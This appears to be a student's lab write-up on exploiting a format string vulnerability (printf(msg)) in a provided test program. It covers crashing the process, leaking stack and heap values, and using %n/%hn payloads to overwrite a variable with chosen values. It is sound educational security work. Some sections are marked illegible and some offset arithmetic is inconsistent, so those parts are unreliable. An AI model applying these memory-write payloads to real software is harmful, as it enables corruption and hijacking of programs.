

Task 1: Inspect the Program [10%]

(a) What is the piece of code that may result in a format string vulnerability? Explain.

```
void details(char *msg)
{
    uintptr_t framep;
    // Copy the ebp value into framep, and print it out
    asm("movl %%ebp, %0" : "=r"(framep));
    printf("The ebp value inside details() is: 0x%.8x\n", framep);
    char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);
    printf(msg);
    printf("The value of the 'target' variable (after): 0x%.8x\n", target);
}
```

The "printf(msg);" sentence in void details (char *msg) function may result in a format string vulnerability.

This sentence will output the value of msg variable using printf function. As we can see, the variable msg is passed as a parameter when calling the details function. However, in this program, the value of the msg variable is equal to the first 1500 bytes of argv[1], which is determined by user input. So, if the attacker inputs a string including some format specifiers (e.g., "%s", "%x", "%n", etc.), the attacker can use the printf function to output the contents of memory locations or control the execution flow of the program.

(b) Draw a simplified stack layout when the second printf function is invoked from the details function. You also need to show where the buf array is located (i.e., what stack frame is it located at?). Your drawing doesn't need to show absolute addresses.

```
-----
| buf[1500]                               |
-----
| dummy[BUF_SIZE]                         |
-----
| frame pointer (ebp)                     |
-----
| return address (details)|
-----
| msg                                     |
-----
| local variable (framep) |
-----
| dummy[BUF_SIZE]                         |
-----
| frame pointer (ebp)                     |
-----
| return address (helper) |
-----
| ...                                     |
-----
```

The buf array is located in the stack frame of the main function, while the dummy and msg are located in the stack frame of the details function. The printf function takes the address of the msg variable as an argument, and then it will use it to read the memory location where it will find the format string to be processed.

Task 2: Crash the Process [10%]

Your **task** is to write a `build_string_crash.py` script that generates `payload_crash`. This payload should crash the process.

We can craft a payload that contains several format specifiers `"%s"` without providing corresponding values.

Such a payload can crash the process because `"%s"` will read memory from the address supplied on the stack, which should be the address of the corresponding values. However, we didn't provide the values. So, the printf pointer will still point to the stack, and consider the data stored on the stack as the address of the corresponding values and read memory from there. In this case, we have a high probability of reading an illegal address, which is not mapped. Then the process crashed.

```
root@kaiyu:/home/kaiyu/Lab04/pbm# python build_string_crash.py
root@kaiyu:/home/kaiyu/Lab04/pbm# ./prog $(cat payload_crash)
The address of the input array: 0xbfe5ef14
The address of the secret: 0x08048630
The address of the 'target' variable: 0x0804a028
The value of the 'target' variable (before): 0x11223344
Segmentation fault (core dumped)
```

Task 3: Print Values from the Stack [20%]

Your **task** is to write a `build_string_print.py` that generates `payload_print`. The payload should instruct the program to print any number of values from the stack. We can craft a payload that contains several `"%.8x"` without providing corresponding values.

Such a payload can print values from the stack because `"%.8x"` will print 8-digit padded hexadecimal numbers stored on the stack, which should be the corresponding values. However, we didn't provide the values. So, the printf pointer will still point to the stack, and consider the data stored on the stack as the corresponding values and print them as 8-digit padded hexadecimal numbers. In this case, we successfully print some values from the stack.

```
root@kaiyu:/home/kaiyu/Lab04/pbm# ./prog $(cat payload_print)
The address of the input array: 0xbfa50b74
The address of the secret: 0x08048630
The address of the 'target' variable: 0x0804a028
The value of the 'target' variable (before): 0x11223344
The ebp value inside details() is: 0xbfa50aa8
BBBB08048563,b7f174fc,0804823d,0000001e,0000d40c,00000000,00000000The value of the 'target' variable (after): 0x11223344
```

Task 4: Print a Value from the Heap [20%]

First, we know that the given address of the secret string variable is `0x08048630`.

We can calculate that the offset of the location stored in 0xaaaaaaaa relative to the initial location of the printf pointer is **184 bytes** ($184 / 4 = 46$).

The **46** consecutive "%.8x." will print **46** 4-byte integer numbers from stack as 8-digit padded hexadecimal numbers concatenated with periods, now the pointer will move to the location that the address **0x08048630** stored. Then the "%s" will read memory from that address and consider the value stored at that address as a string, which is the secret variable "A secret message".

The 46 consecutive "%.8x" will print 46 4-byte integer numbers from stack as 8-digit padded hexadecimal numbers, now the pointer will move to the location that the address 0x0804a028 stored. Then the %n will calculate the number of characters printed so far, and

write it into the address 0x0804a028, where the target variable stored. So, the value of the target variable is modified.

Subtask 2. You need to modify the value of the `target` variable to be `0x400`.

[illegible]

Subtask 3. You need to modify the value of the `target` variable to be `0x0904bc04`.

So if the value of the target variable is 0x0904bc04, it will be stored in memory as: "\x04\xbc\x04\x09". In this subtask, if we want to write an integer number 0x0904bc04 in the address 0x0804a028. We can write one short number 0x0904 in the address 0x0804a02a and the other short number 0xbc04 in the address 0x0804a028.

Then we need to calculate the padding length of the last `%(number)x`:

```
s = "." + "%.8x."*45 + "%.8x.%hn"
```

The number of the printed characters is 0x1ab.

$$0x0904 - 0x01ab = 1881$$

[illegible]

We want to write 0xbc04 in 0x0804a028, so we need set the padding length to 45824 using %.45824x.

```
s = "." + "%.8x."*45 + "%.1889x.%hn%.45824x%hn" #0x0904bc04
```

[illegible]

Like subtask3, if the value of the target variable is 0xff990000, it will be stored in memory as: "\x00\x00\x99\xff". In this subtask, if we want to write an integer number 0xff990000 in the address 0x0804a028. We can write one integer number less than 0x10000 in the address 0x0804a026 and one short number 0xff99 in the address 0x0804a02a.

Because the number that can be written by %n will increase with the number of characters already printed, we write the smaller number first. Between these two addresses, we also need a dummy number to fill paddings of the number for %x to write the larger number 0xff99.

[illegible]

```
s = "." + "%.8x."*45 + "%.8x%n%.65007x%hn" #0xff990000
```

[illegible]